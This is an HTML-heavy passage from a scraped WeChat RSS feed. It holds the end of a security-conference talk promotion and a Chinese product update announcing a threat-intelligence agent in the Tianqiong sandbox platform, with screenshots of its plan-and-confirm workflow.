auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(14, 46, 228);box-sizing: border-box;"><div style="text-align: center;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);margin: 6px 0px -6px;box-sizing: border-box;"><div style="display: inline-block;width: 27px;height: 27px;vertical-align: top;overflow: hidden;margin: 0px;box-shadow: rgb(255, 255, 255) -3px -3px 0px 0px;background-image: linear-gradient(90deg, rgb(93, 102, 251) 13%, rgb(58, 90, 246) 88%);box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2</span></p></div></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 13px;align-self: center;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">演讲嘉宾</span></strong></p></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">陈国强：奇安信技术研究院安全研究员</span></strong></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">网络空间安全专业硕士，毕业于中国科学技术大学，现任职于奇安信技术研究院，担任安全研究员，关注二进制分析程序分析、大模型、智能体等技术领域，曾在CCS，ASE、ACL，TOSEM等CCF A类国际学术会议和期刊发表多篇文章。</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(14, 46, 228);box-sizing: border-box;"><div style="text-align: center;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);margin: 6px 0px -6px;box-sizing: border-box;"><div style="display: inline-block;width: 27px;height: 27px;vertical-align: top;overflow: hidden;margin: 0px;box-shadow: rgb(255, 255, 255) -3px -3px 0px 0px;background-image: linear-gradient(90deg, rgb(93, 102, 251) 13%, rgb(58, 90, 246) 88%);box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3</span></p></div></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 13px;align-self: center;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">听众收获</span></strong></p></div></div></div><p style="line-height: 2;box-sizing: border-box;"><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">了解 ReCopilot 的核心方案</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">掌握 ReCopilot 的性能优势</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">把握领域探索方向</span></p></li></ul></p><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(14, 46, 228);box-sizing: border-box;"><div style="text-align: center;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);margin: 6px 0px -6px;box-sizing: border-box;"><div style="display: inline-block;width: 27px;height: 27px;vertical-align: top;overflow: hidden;margin: 0px;box-shadow: rgb(255, 255, 255) -3px -3px 0px 0px;background-image: linear-gradient(90deg, rgb(93, 102, 251) 13%, rgb(58, 90, 246) 88%);box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4</span></p></div></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 13px;align-self: center;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">扫码参会</span></strong></p></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 27%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="311118102" alt="图片" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="280" style="vertical-align: middle;max-width: 100%;width: 178.469px !important;box-sizing: border-box;height: auto !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=aff858f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F1UG7KPNHN8EYdGag4tSCn08nzq1VldWSvasZZv1OJtOUQUxj4BK6AXO1PzamIoJbOQQA4fMVxXhM295BEXUeEA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D1"/></p></div><div style="text-align: center;margin: -10px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 32px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="311118103" alt="图片" class="rich_pages wxw-img __bg_gif" data-ratio="1.3333333333333333" data-s="300,640" data-type="gif" data-w="300" style="vertical-align: middle;max-width: 100%;width: 32px !important;box-sizing: border-box;height: auto !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9d54da99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8EYdGag4tSCn08nzq1VldWSicdOKVBkDUvUZu6rPXuyJxyhkQbzrXnOYd7HMODsMOzTL5DaeSqjCvA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D2"/></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 15px;box-sizing: border-box;"><div style="color: rgb(212, 47, 12);line-height: 2;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">2.5折门票限时抢购中...</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">欢迎来SDC现场，聆听更多议题细节</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);letter-spacing: 4px;text-shadow: rgb(14, 46, 228) 1px -1px 0px, rgb(14, 46, 228) 1px 1px 0px, rgb(14, 46, 228) -1px 1px 0px, rgb(14, 46, 228) -1px -1px 0px, rgb(14, 46, 228) 1px 0px 0px, rgb(14, 46, 228) 0px 1px 0px, rgb(14, 46, 228) -1px 0px 0px, rgb(14, 46, 228) 0px -1px 0px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">END</span></strong></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247488862">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f3a634f2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488862%26idx%3D1%26sn%3D35966927380ab38a3e19b8bd7b202e29">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 20 Oct 2025 16:56:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】赋能高效分析，情报智能体全面上线！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488858&amp;idx=1&amp;sn=eaaece51c9ec7180f2866c6dd2847ca5</link>
      <description>天穹智能分析平台近期完成全面升级，新增多项功能，并根据用户反馈进行了系统性优化。</description>
      <content:encoded><![CDATA[<p>
<span>星图实验室</span> <span>2025-09-22 17:53</span> <span style="display: inline-block;">北京</span>
</p>

<p>天穹智能分析平台近期完成全面升级，新增多项功能，并根据用户反馈进行了系统性优化。</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2b71000a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0LpRZS6qMWYlbdnreljBbmVyR7HMXzvj3DZRqS8vy8JmCWA500Vg4wA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;" data-pm-slice="5 5 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;title&#34;,&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;158385&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;display: flex;justify-content: flex-start;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 20px;">0</span></span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">1</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;title&#34;,&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;158385&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;display: flex;justify-content: flex-start;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;display: flex;align-items: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;data-brushtype&#34;:&#34;text&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 20px;">升级与优化</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹智能分析平台近期完成全面升级，新增多项功能，并根据用户反馈进行了系统性优化。本次升级重点体现在以下三个方面：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">情报智能体<span textstyle="" style="font-weight: normal;">正式上线</span>；</span></strong></li><li style="box-sizing: border-box;"><p><span leaf="">智能问答响应速度显著提升；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">样本与网络地址详情页全面更新。</span></p></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="2 2 []"><span leaf="">平台地址：</span><span leaf="">sandbox.qianxin.com</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">接下来，我们将详细介绍每一项升级内容。</span></p><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 20px;">0</span></span></strong><strong data-original-title="" title="" data-num="2"><span leaf=""><span textstyle="" style="font-size: 20px;">2</span></span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">情报智能体正式上线</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在此前的更新中，我们已经通过天穹沙箱的</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">智能拓线</span></strong><span leaf="">功能初步体验了智能体的便捷与强大。本次更新，我们正式将情报智能体引入</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">智能搜索</span></strong><span leaf="">，极大提升了智能体在面对复杂问题的处理能力，并能进一步提升回答深度和广度。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面，我们以</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">情报</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">狩猎</span></strong><span leaf="">和</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">固件下载</span></strong><span leaf="">三个领域为示例，演示在哪些场景可开启智能体，以及如何使用智能体。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">情报分析</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例如，我们要求智能体针对以下情报问题进行深度分析：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">🔍 分析APT37组织在过去一年的活动，并对收集的IOC进行分析和拓线</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在搜索框输入问题，点击</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">智能体</span></strong><span leaf="">按钮，即可开启智能体模式，如图1所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005185" alt="image-20250904103453197" class="rich_pages wxw-img" data-ratio="0.19625246548323472" data-type="png" data-w="1014" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ca1b1031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd045f6DZ7UibHZSp4AeOIjQVjsSBRv9RsE5PALUQ44GVtnAyd3NPyKZaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 开启智能体模式</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">接下来，我们会进入智能体页面，智能体首先会根据问题制定一份详细的方案，此模式为</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">计划模式</span></strong><span leaf="">，如图2所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005184" alt="image-20250904104440698" class="rich_pages wxw-img" data-ratio="0.7289088863892014" data-type="png" data-w="889" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b192952d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0KYJ0GnsEtrPyRdqIsdf4Ewmnt4iaGF0ibU6b3kVUZhUlVmiby75xw0mVA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 计划模式</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">询问用户是否确认此方案，如图3所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005181" alt="image-20250904104454723" class="rich_pages wxw-img" data-ratio="0.21359223300970873" data-type="png" data-w="824" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=84003e05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0bWeibjEwBKxcErA4kicM2Oh32gT18icP8x6bYKmWqIzSWEjVySDYt7icrQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 方案确认</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果对方案不满意，可以选择否，并提出其他需求。例如，我们要求智能体进一步查询样本的沙箱分析报告，如图4所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005183" alt="image-20250904104642562" class="rich_pages wxw-img" data-ratio="0.47888888888888886" data-type="png" data-w="900" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a1fab734&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0NzV0kCz2lRNm55JQwjwWFla63NYzT0BHDLYQDON0uehhgVJEHJ4jsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 修改方案</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span 